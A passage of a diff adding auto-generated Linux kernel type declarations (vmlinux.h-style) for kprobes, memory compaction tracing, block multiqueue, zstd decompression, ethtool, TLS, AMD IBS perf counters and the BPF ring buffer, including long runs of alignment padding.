CPU_DONT_CARE = 2, +}; + +struct kprobe_trace_entry_head { + struct trace_entry ent; + long unsigned int ip; +}; + +struct kretprobe_trace_entry_head { + struct trace_entry ent; + long unsigned int func; + long unsigned int ret_ip; +}; + +struct trace_kprobe { + struct dyn_event devent; + struct kretprobe rp; + long unsigned int *nhit; + const char *symbol; + struct trace_probe tp; +}; + +struct trace_event_raw_mm_compaction_isolate_template { + struct trace_entry ent; + long unsigned int start_pfn; + long unsigned int end_pfn; + long unsigned int nr_scanned; + long unsigned int nr_taken; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_migratepages { + struct trace_entry ent; + long unsigned int nr_migrated; + long unsigned int nr_failed; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_begin { + struct trace_entry ent; + long unsigned int zone_start; + long unsigned int migrate_pfn; + long unsigned int free_pfn; + long unsigned int zone_end; + bool sync; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_end { + struct trace_entry ent; + long unsigned int zone_start; + long unsigned int migrate_pfn; + long unsigned int free_pfn; + long unsigned int zone_end; + bool sync; + int status; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_try_to_compact_pages { + struct trace_entry ent; + int order; + long unsigned int gfp_mask; + int prio; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_suitable_template { + struct trace_entry ent; + int nid; + enum zone_type idx; + int order; + int ret; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_defer_template { + struct trace_entry ent; + int nid; + enum zone_type idx; + int order; + unsigned int considered; + unsigned int defer_shift; + int order_failed; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_kcompactd_sleep { + struct trace_entry ent; + int nid; + char __data[0]; +}; + +struct trace_event_raw_kcompactd_wake_template { + struct trace_entry ent; + int nid; + int order; + enum zone_type highest_zoneidx; + char __data[0]; +}; + +struct trace_event_data_offsets_mm_compaction_isolate_template {}; + +struct trace_event_data_offsets_mm_compaction_migratepages {}; + +struct trace_event_data_offsets_mm_compaction_begin {}; + +struct trace_event_data_offsets_mm_compaction_end {}; + +struct trace_event_data_offsets_mm_compaction_try_to_compact_pages {}; + +struct trace_event_data_offsets_mm_compaction_suitable_template {}; + +struct trace_event_data_offsets_mm_compaction_defer_template {}; + +struct trace_event_data_offsets_mm_compaction_kcompactd_sleep {}; + +struct trace_event_data_offsets_kcompactd_wake_template {}; + +typedef void (*btf_trace_mm_compaction_isolate_migratepages)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); + +typedef void (*btf_trace_mm_compaction_isolate_freepages)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); + +typedef void (*btf_trace_mm_compaction_migratepages)(void *, struct compact_control *, unsigned int); + +typedef void (*btf_trace_mm_compaction_begin)(void *, struct compact_control *, long unsigned int, long unsigned int, bool); + +typedef void (*btf_trace_mm_compaction_end)(void *, struct compact_control *, long unsigned int, long unsigned int, bool, int); + +typedef void (*btf_trace_mm_compaction_try_to_compact_pages)(void *, int, gfp_t, int); + +typedef void (*btf_trace_mm_compaction_finished)(void *, struct zone *, int, int); + +typedef void (*btf_trace_mm_compaction_suitable)(void *, struct zone *, int, int); + +typedef void (*btf_trace_mm_compaction_deferred)(void *, struct zone *, int); + +typedef void (*btf_trace_mm_compaction_defer_compaction)(void *, struct zone *, int); + +typedef void (*btf_trace_mm_compaction_defer_reset)(void *, struct zone *, int); + +typedef void (*btf_trace_mm_compaction_kcompactd_sleep)(void *, int); + +typedef void (*btf_trace_mm_compaction_wakeup_kcompactd)(void *, int, int, enum zone_type); + +typedef void (*btf_trace_mm_compaction_kcompactd_wake)(void *, int, int, enum zone_type); + +typedef enum { + ISOLATE_ABORT = 0, + ISOLATE_NONE = 1, + ISOLATE_SUCCESS = 2, +} isolate_migrate_t; + +struct dma_block { + struct dma_block *next_block; + dma_addr_t dma; +}; + +struct dma_pool { + struct list_head page_list; + spinlock_t lock; + struct dma_block *next_block; + size_t nr_blocks; + size_t nr_active; + size_t nr_pages; + struct device *dev; + unsigned int size; + unsigned int allocation; + unsigned int boundary; + char name[32]; + struct list_head pools; +}; + +struct dma_page { + struct list_head page_list; + void *vaddr; + dma_addr_t dma; +}; + +struct inodes_stat_t { + long int nr_inodes; + long int nr_unused; + long int dummy[5]; +}; + +enum file_time_flags { + S_ATIME = 1, + S_MTIME = 2, + S_CTIME = 4, + S_VERSION = 8, +}; + +struct file_dedupe_range_info { + __s64 dest_fd; + __u64 dest_offset; + __u64 bytes_deduped; + __s32 status; + __u32 reserved; +}; + +struct file_dedupe_range { + __u64 src_offset; + __u64 src_length; + __u16 dest_count; + __u16 reserved1; + __u32 reserved2; + struct file_dedupe_range_info info[0]; +}; + +enum { + I_DATA_SEM_NORMAL = 0, + I_DATA_SEM_OTHER = 1, + I_DATA_SEM_QUOTA = 2, +}; + +enum p9_cache_shortcuts { + CACHE_SC_NONE = 0, + CACHE_SC_READAHEAD = 1, + CACHE_SC_MMAP = 5, + CACHE_SC_LOOSE = 15, + CACHE_SC_FSCACHE = 143, +}; + +enum { + Opt_debug___2 = 0, + Opt_dfltuid = 1, + Opt_dfltgid = 2, + Opt_afid = 3, + Opt_uname = 4, + Opt_remotename = 5, + Opt_cache = 6, + Opt_cachetag = 7, + Opt_nodevmap = 8, + Opt_noxattr = 9, + Opt_directio = 10, + Opt_ignoreqv = 11, + Opt_access = 12, + Opt_posixacl = 13, + Opt_locktimeout = 14, + Opt_err___8 = 15, +}; + +struct blk_integrity_iter; + +typedef blk_status_t integrity_processing_fn(struct blk_integrity_iter *); + +typedef void integrity_prepare_fn(struct request *); + +typedef void integrity_complete_fn(struct request *, unsigned int); + +struct blk_integrity_profile { + integrity_processing_fn *generate_fn; + integrity_processing_fn *verify_fn; + integrity_prepare_fn *prepare_fn; + integrity_complete_fn *complete_fn; + const char *name; +}; + +enum { + BLK_MQ_REQ_NOWAIT = 1, + BLK_MQ_REQ_RESERVED = 2, + BLK_MQ_REQ_PM = 4, +}; + +enum { + BLK_MQ_UNIQUE_TAG_BITS = 16, + BLK_MQ_UNIQUE_TAG_MASK = 65535, +}; + +struct blk_integrity_iter { + void *prot_buf; + void *data_buf; + sector_t seed; + unsigned int data_size; + short unsigned int interval; + unsigned char tuple_size; + const char *disk_name; +}; + +struct mq_inflight { + struct block_device *part; + unsigned int inflight[2]; +}; + +struct blk_rq_wait { + struct completion done; + blk_status_t ret; +}; + +struct blk_expired_data { + bool has_timedout_rq; + long unsigned int next; + long unsigned int timeout_start; +}; + +struct flush_busy_ctx_data { + struct blk_mq_hw_ctx *hctx; + struct list_head *list; +}; + +struct dispatch_rq_data { + struct blk_mq_hw_ctx *hctx; + struct request *rq; +}; + +enum prep_dispatch { + PREP_DISPATCH_OK = 0, + PREP_DISPATCH_NO_TAG = 1, + PREP_DISPATCH_NO_BUDGET = 2, +}; + +struct rq_iter_data { + struct blk_mq_hw_ctx *hctx; + bool has_rq; +}; + +struct blk_mq_qe_pair { + struct list_head node; + struct request_queue *q; + struct elevator_type *type; +}; + +typedef U32 HUF_DTable; + +typedef struct { + U16 nextState; + BYTE nbAdditionalBits; + BYTE nbBits; + U32 baseValue; +} ZSTD_seqSymbol; + +typedef struct { + ZSTD_seqSymbol LLTable[513]; + ZSTD_seqSymbol OFTable[257]; + ZSTD_seqSymbol MLTable[513]; + HUF_DTable hufTable[4097]; + U32 rep[3]; + U32 workspace[157]; +} ZSTD_entropyDTables_t; + +typedef enum { + bt_raw = 0, + bt_rle = 1, + bt_compressed = 2, + bt_reserved = 3, +} blockType_e; + +typedef enum { + ZSTDds_getFrameHeaderSize = 0, + ZSTDds_decodeFrameHeader = 1, + ZSTDds_decodeBlockHeader = 2, + ZSTDds_decompressBlock = 3, + ZSTDds_decompressLastBlock = 4, + ZSTDds_checkChecksum = 5, + ZSTDds_decodeSkippableHeader = 6, + ZSTDds_skipFrame = 7, +} ZSTD_dStage; + +typedef enum { + ZSTD_f_zstd1 = 0, + ZSTD_f_zstd1_magicless = 1, +} ZSTD_format_e; + +typedef enum { + ZSTD_d_validateChecksum = 0, + ZSTD_d_ignoreChecksum = 1, +} ZSTD_forceIgnoreChecksum_e; + +typedef enum { + ZSTD_use_indefinitely = -1, + ZSTD_dont_use = 0, + ZSTD_use_once = 1, +} ZSTD_dictUses_e; + +struct ZSTD_DDict_s; + +typedef struct ZSTD_DDict_s ZSTD_DDict; + +typedef struct { + const ZSTD_DDict **ddictPtrTable; + size_t ddictPtrTableSize; + size_t ddictPtrCount; +} ZSTD_DDictHashSet; + +typedef enum { + ZSTD_rmd_refSingleDDict = 0, + ZSTD_rmd_refMultipleDDicts = 1, +} ZSTD_refMultipleDDicts_e; + +typedef enum { + zdss_init = 0, + zdss_loadHeader = 1, + zdss_read = 2, + zdss_load = 3, + zdss_flush = 4, +} ZSTD_dStreamStage; + +typedef enum { + ZSTD_bm_buffered = 0, + ZSTD_bm_stable = 1, +} ZSTD_bufferMode_e; + +typedef enum { + ZSTD_not_in_dst = 0, + ZSTD_in_dst = 1, + ZSTD_split = 2, +} ZSTD_litLocation_e; + +struct ZSTD_DCtx_s { + const ZSTD_seqSymbol *LLTptr; + const ZSTD_seqSymbol *MLTptr; + const ZSTD_seqSymbol *OFTptr; + const HUF_DTable *HUFptr; + ZSTD_entropyDTables_t entropy; + U32 workspace[640]; + const void *previousDstEnd; + const void *prefixStart; + const void *virtualStart; + const void *dictEnd; + size_t expected; + ZSTD_frameHeader fParams; + U64 processedCSize; + U64 decodedSize; + blockType_e bType; + ZSTD_dStage stage; + U32 litEntropy; + U32 fseEntropy; + struct xxh64_state xxhState; + size_t headerSize; + ZSTD_format_e format; + ZSTD_forceIgnoreChecksum_e forceIgnoreChecksum; + U32 validateChecksum; + const BYTE *litPtr; + ZSTD_customMem customMem; + size_t litSize; + size_t rleSize; + size_t staticSize; + int bmi2; + ZSTD_DDict *ddictLocal; + const ZSTD_DDict *ddict; + U32 dictID; + int ddictIsCold; + ZSTD_dictUses_e dictUses; + ZSTD_DDictHashSet *ddictSet; + ZSTD_refMultipleDDicts_e refMultipleDDicts; + ZSTD_dStreamStage streamStage; + char *inBuff; + size_t inBuffSize; + size_t inPos; + size_t maxWindowSize; + char *outBuff; + size_t outBuffSize; + size_t outStart; + size_t outEnd; + size_t lhSize; + U32 hostageByte; + int noForwardProgress; + ZSTD_bufferMode_e outBufferMode; + ZSTD_outBuffer expectedOutBuffer; + BYTE *litBuffer; + const BYTE *litBufferEnd; + ZSTD_litLocation_e litBufferLocation; + BYTE litExtraBuffer[65568]; + BYTE headerBuffer[18]; + size_t oversizedDuration; +}; + +typedef struct ZSTD_DCtx_s ZSTD_DCtx___2; + +struct ZSTD_DDict_s { + void *dictBuffer; + const void *dictContent; + size_t dictSize; + ZSTD_entropyDTables_t entropy; + U32 dictID; + U32 entropyPresent; + ZSTD_customMem cMem; +}; + +typedef enum { + ZSTD_dct_auto = 0, + ZSTD_dct_rawContent = 1, + ZSTD_dct_fullDict = 2, +} ZSTD_dictContentType_e; + +typedef enum { + ZSTD_dlm_byCopy = 0, + ZSTD_dlm_byRef = 1, +} ZSTD_dictLoadMethod_e; + +struct xz_dec_bcj { + enum { + BCJ_X86 = 4, + BCJ_POWERPC = 5, + BCJ_IA64 = 6, + BCJ_ARM = 7, + BCJ_ARMTHUMB = 8, + BCJ_SPARC = 9, + } type; + enum xz_ret ret; + bool single_call; + uint32_t pos; + uint32_t x86_prev_mask; + uint8_t *out; + size_t out_pos; + size_t out_size; + struct { + size_t filtered; + size_t size; + uint8_t buf[16]; + } temp; +}; + +struct xz_dec_lzma2; + +struct acpi_namestring_info { + const char *external_name; + const char *next_external_char; + char *internal_name; + u32 length; + u32 num_segments; + u32 num_carats; + u8 fully_qualified; +}; + +typedef acpi_status (*acpi_pkg_callback)(u8, union acpi_operand_object *, union acpi_generic_state *, void *); + +enum { + VP_MSIX_CONFIG_VECTOR = 0, + VP_MSIX_VQ_VECTOR = 1, +}; + +typedef void (*irq_write_msi_msg_t)(struct msi_desc *, struct msi_msg *); + +struct platform_msi_priv_data { + struct device *dev; + void *host_data; + msi_alloc_info_t arg; + irq_write_msi_msg_t write_msg; + int devid; +}; + +enum i8042_controller_reset_mode { + I8042_RESET_NEVER = 0, + I8042_RESET_ALWAYS = 1, + I8042_RESET_ON_S2RAM = 2, +}; + +struct i8042_port { + struct serio *serio; + int irq; + bool exists; + bool driver_bound; + signed char mux; +}; + +struct ps2pp_info { + u8 model; + u8 kind; + u16 features; +}; + +struct ptp_clock_caps { + int max_adj; + int n_alarm; + int n_ext_ts; + int n_per_out; + int pps; + int n_pins; + int cross_timestamping; + int adjust_phase; + int rsv[12]; +}; + +struct ptp_sys_offset { + unsigned int n_samples; + unsigned int rsv[3]; + struct ptp_clock_time ts[51]; +}; + +struct ptp_sys_offset_extended { + unsigned int n_samples; + unsigned int rsv[3]; + struct ptp_clock_time ts[75]; +}; + +struct ptp_sys_offset_precise { + struct ptp_clock_time device; + struct ptp_clock_time sys_realtime; + struct ptp_clock_time sys_monoraw; + unsigned int rsv[4]; +}; + +struct ethtool_value { + __u32 cmd; + __u32 data; +}; + +enum tunable_type_id { + ETHTOOL_TUNABLE_UNSPEC = 0, + ETHTOOL_TUNABLE_U8 = 1, + ETHTOOL_TUNABLE_U16 = 2, + ETHTOOL_TUNABLE_U32 = 3, + ETHTOOL_TUNABLE_U64 = 4, + ETHTOOL_TUNABLE_STRING = 5, + ETHTOOL_TUNABLE_S8 = 6, + ETHTOOL_TUNABLE_S16 = 7, + ETHTOOL_TUNABLE_S32 = 8, + ETHTOOL_TUNABLE_S64 = 9, +}; + +struct ethtool_gstrings { + __u32 cmd; + __u32 string_set; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_sset_info { + __u32 cmd; + __u32 reserved; + __u64 sset_mask; + __u32 data[0]; +}; + +struct ethtool_perm_addr { + __u32 cmd; + __u32 size; + __u8 data[0]; +}; + +enum ethtool_flags { + ETH_FLAG_TXVLAN = 128, + ETH_FLAG_RXVLAN = 256, + ETH_FLAG_LRO = 32768, + ETH_FLAG_NTUPLE = 134217728, + ETH_FLAG_RXHASH = 268435456, +}; + +struct ethtool_rxfh { + __u32 cmd; + __u32 rss_context; + __u32 indir_size; + __u32 key_size; + __u8 hfunc; + __u8 rsvd8[3]; + __u32 rsvd32; + __u32 rss_config[0]; +}; + +struct ethtool_get_features_block { + __u32 available; + __u32 requested; + __u32 active; + __u32 never_changed; +}; + +struct ethtool_gfeatures { + __u32 cmd; + __u32 size; + struct ethtool_get_features_block features[0]; +}; + +struct ethtool_set_features_block { + __u32 valid; + __u32 requested; +}; + +struct ethtool_sfeatures { + __u32 cmd; + __u32 size; + struct ethtool_set_features_block features[0]; +}; + +enum ethtool_sfeatures_retval_bits { + ETHTOOL_F_UNSUPPORTED__BIT = 0, + ETHTOOL_F_WISH__BIT = 1, + ETHTOOL_F_COMPAT__BIT = 2, +}; + +struct ethtool_per_queue_op { + __u32 cmd; + __u32 sub_command; + __u32 queue_mask[128]; + char data[0]; +}; + +struct ethtool_rx_flow_rule { + struct flow_rule *rule; + long unsigned int priv[0]; +}; + +struct ethtool_rx_flow_spec_input { + const struct ethtool_rx_flow_spec *fs; + u32 rss_ctx; +}; + +struct ethtool_devlink_compat { + struct devlink *devlink; + union { + struct ethtool_flash efl; + struct ethtool_drvinfo info; + }; +}; + +struct ethtool_link_usettings { + struct ethtool_link_settings base; + struct { + __u32 supported[4]; + __u32 advertising[4]; + __u32 lp_advertising[4]; + } link_modes; +}; + +struct ethtool_rx_flow_key { + struct flow_dissector_key_basic basic; + union { + struct flow_dissector_key_ipv4_addrs ipv4; + struct flow_dissector_key_ipv6_addrs ipv6; + }; + struct flow_dissector_key_ports tp; + struct flow_dissector_key_ip ip; + struct flow_dissector_key_vlan vlan; + struct flow_dissector_key_eth_addrs eth_addrs; +}; + +struct ethtool_rx_flow_match { + struct flow_dissector dissector; + long: 0; + struct ethtool_rx_flow_key key; + struct ethtool_rx_flow_key mask; +}; + +struct phc_vclocks_reply_data { + struct ethnl_reply_data base; + int num; + int *index; +}; + +struct ipq { + struct inet_frag_queue q; + u8 ecn; + u16 max_df_size; + int iif; + unsigned int rid; + struct inet_peer *peer; +}; + +struct bpf_iter__udp { + union { + struct bpf_iter_meta *meta; + }; + union { + struct udp_sock *udp_sk; + }; + uid_t uid; + long: 0; + int bucket; +}; + +struct bpf_udp_iter_state { + struct udp_iter_state state; + unsigned int cur_sk; + unsigned int end_sk; + unsigned int max_sk; + int offset; + struct sock **batch; + bool st_bucket_done; +}; + +struct tls12_crypto_info_aes_ccm_128 { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_aria_gcm_128 { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_aria_gcm_256 { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[32]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +enum { + TLS_INFO_UNSPEC = 0, + TLS_INFO_VERSION = 1, + TLS_INFO_CIPHER = 2, + TLS_INFO_TXCONF = 3, + TLS_INFO_RXCONF = 4, + TLS_INFO_ZC_RO_TX = 5, + TLS_INFO_RX_NO_PAD = 6, + __TLS_INFO_MAX = 7, +}; + +enum { + TLS_BASE = 0, + TLS_SW = 1, + TLS_HW = 2, + TLS_HW_RECORD = 3, + TLS_NUM_CONFIG = 4, +}; + +struct tls_strparser { + struct sock *sk; + u32 mark: 8; + u32 stopped: 1; + u32 copy_mode: 1; + u32 msg_ready: 1; + struct strp_msg stm; + struct sk_buff *anchor; + struct work_struct work; +}; + +struct tls_sw_context_rx { + struct crypto_aead *aead_recv; + struct crypto_wait async_wait; + struct sk_buff_head rx_list; + void (*saved_data_ready)(struct sock *); + u8 reader_present; + u8 async_capable: 1; + u8 zc_capable: 1; + u8 reader_contended: 1; + struct tls_strparser strp; + atomic_t decrypt_pending; + spinlock_t decrypt_compl_lock; + struct sk_buff_head async_hold; + struct wait_queue_head wq; +}; + +enum { + TLSV4 = 0, + TLSV6 = 1, + TLS_NUM_PROTS = 2, +}; + +struct ipv6_mreq { + struct in6_addr ipv6mr_multiaddr; + int ipv6mr_ifindex; +}; + +struct rc { + long int (*fill)(void *, long unsigned int); + uint8_t *ptr; + uint8_t *buffer; + uint8_t *buffer_end; + long int buffer_size; + uint32_t code; + uint32_t range; + uint32_t bound; + void (*error)(char *); +}; + +struct lzma_header { + uint8_t pos; + uint32_t dict_size; + uint64_t dst_size; +} __attribute__((packed)); + +struct writer { + uint8_t *buffer; + uint8_t previous_byte; + size_t buffer_pos; + int bufsize; + size_t global_pos; + long int (*flush)(void *, long unsigned int); + struct lzma_header *header; +}; + +struct cstate { + int state; + uint32_t rep0; + uint32_t rep1; + uint32_t rep2; + uint32_t rep3; +}; + +struct in6_addr; + +union ibs_fetch_ctl { + __u64 val; + struct { + __u64 fetch_maxcnt: 16; + __u64 fetch_cnt: 16; + __u64 fetch_lat: 16; + __u64 fetch_en: 1; + __u64 fetch_val: 1; + __u64 fetch_comp: 1; + __u64 ic_miss: 1; + __u64 phy_addr_valid: 1; + __u64 l1tlb_pgsz: 2; + __u64 l1tlb_miss: 1; + __u64 l2tlb_miss: 1; + __u64 rand_en: 1; + __u64 fetch_l2_miss: 1; + __u64 l3_miss_only: 1; + __u64 fetch_oc_miss: 1; + __u64 fetch_l3_miss: 1; + __u64 reserved: 2; + }; +}; + +union ibs_op_ctl { + __u64 val; + struct { + __u64 opmaxcnt: 16; + __u64 l3_miss_only: 1; + __u64 op_en: 1; + __u64 op_val: 1; + __u64 cnt_ctl: 1; + __u64 opmaxcnt_ext: 7; + __u64 reserved0: 5; + __u64 opcurcnt: 27; + __u64 reserved1: 5; + }; +}; + +union ibs_op_data { + __u64 val; + struct { + __u64 comp_to_ret_ctr: 16; + __u64 tag_to_ret_ctr: 16; + __u64 reserved1: 2; + __u64 op_return: 1; + __u64 op_brn_taken: 1; + __u64 op_brn_misp: 1; + __u64 op_brn_ret: 1; + __u64 op_rip_invalid: 1; + __u64 op_brn_fuse: 1; + __u64 op_microcode: 1; + __u64 reserved2: 23; + }; +}; + +union ibs_op_data2 { + __u64 val; + struct { + __u64 data_src_lo: 3; + __u64 reserved0: 1; + __u64 rmt_node: 1; + __u64 cache_hit_st: 1; + __u64 data_src_hi: 2; + __u64 reserved1: 56; + }; +}; + +union ibs_op_data3 { + __u64 val; + struct { + __u64 ld_op: 1; + __u64 st_op: 1; + __u64 dc_l1tlb_miss: 1; + __u64 dc_l2tlb_miss: 1; + __u64 dc_l1tlb_hit_2m: 1; + __u64 dc_l1tlb_hit_1g: 1; + __u64 dc_l2tlb_hit_2m: 1; + __u64 dc_miss: 1; + __u64 dc_mis_acc: 1; + __u64 reserved: 4; + __u64 dc_wc_mem_acc: 1; + __u64 dc_uc_mem_acc: 1; + __u64 dc_locked_op: 1; + __u64 dc_miss_no_mab_alloc: 1; + __u64 dc_lin_addr_valid: 1; + __u64 dc_phy_addr_valid: 1; + __u64 dc_l2_tlb_hit_1g: 1; + __u64 l2_miss: 1; + __u64 sw_pf: 1; + __u64 op_mem_width: 4; + __u64 op_dc_miss_open_mem_reqs: 6; + __u64 dc_miss_lat: 16; + __u64 tlb_refill_lat: 16; + }; +}; + +struct perf_ibs_data { + u32 size; + union { + u32 data[0]; + u32 caps; + }; + u64 regs[8]; +}; + +enum ibs_states { + IBS_ENABLED = 0, + IBS_STARTED = 1, + IBS_STOPPING = 2, + IBS_STOPPED = 3, + IBS_MAX_STATES = 4, +}; + +struct cpu_perf_ibs { + struct perf_event *event; + long unsigned int state[1]; +}; + +struct perf_ibs { + struct pmu pmu; + unsigned int msr; + u64 config_mask; + u64 cnt_mask; + u64 enable_mask; + u64 valid_mask; + u64 max_period; + long unsigned int offset_mask[1]; + int offset_max; + unsigned int fetch_count_reset_broken: 1; + unsigned int fetch_ignore_if_zero_rip: 1; + struct cpu_perf_ibs *pcpu; + u64 (*get_count)(u64); +}; + +typedef const struct cpumask * (*sched_domain_mask_f)(int); + +typedef int (*sched_domain_flags_f)(); + +struct sd_data { + struct sched_domain **sd; + struct sched_domain_shared **sds; + struct sched_group **sg; + struct sched_group_capacity **sgc; +}; + +struct sched_domain_topology_level { + sched_domain_mask_f mask; + sched_domain_flags_f sd_flags; + int flags; + int numa_level; + struct sd_data data; + char *name; +}; + +struct core_text { + long unsigned int base; + long unsigned int end; + const char *name; +}; + +enum uv_system_type { + UV_NONE = 0, + UV_LEGACY_APIC = 1, + UV_X2APIC = 2, +}; + +struct sys_off_handler { + struct notifier_block nb; + int (*sys_off_cb)(struct sys_off_data *); + void *cb_data; + enum sys_off_mode mode; + bool blocking; + void *list; +}; + +struct prb_data_block { + long unsigned int id; + char data[0]; +}; + +struct idmap_key { + bool map_up; + u32 id; + u32 count; +}; + +enum { + TRACE_FUNC_NO_OPTS = 0, + TRACE_FUNC_OPT_STACK = 1, + TRACE_FUNC_OPT_NO_REPEATS = 2, + TRACE_FUNC_OPT_HIGHEST_BIT = 4, +}; + +struct ftrace_func_mapper; + +enum { + BPF_RB_NO_WAKEUP = 1, + BPF_RB_FORCE_WAKEUP = 2, +}; + +enum { + BPF_RB_AVAIL_DATA = 0, + BPF_RB_RING_SIZE = 1, + BPF_RB_CONS_POS = 2, + BPF_RB_PROD_POS = 3, +}; + +enum { + BPF_RINGBUF_BUSY_BIT = 2147483648, + BPF_RINGBUF_DISCARD_BIT = 1073741824, + BPF_RINGBUF_HDR_SZ = 8, +}; + +struct bpf_ringbuf { + wait_queue_head_t waitq; + struct irq_work work; + u64 mask; + struct page **pages; + int nr_pages; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t spinlock; + atomic_t busy; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long unsigned int consumer_pos; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + 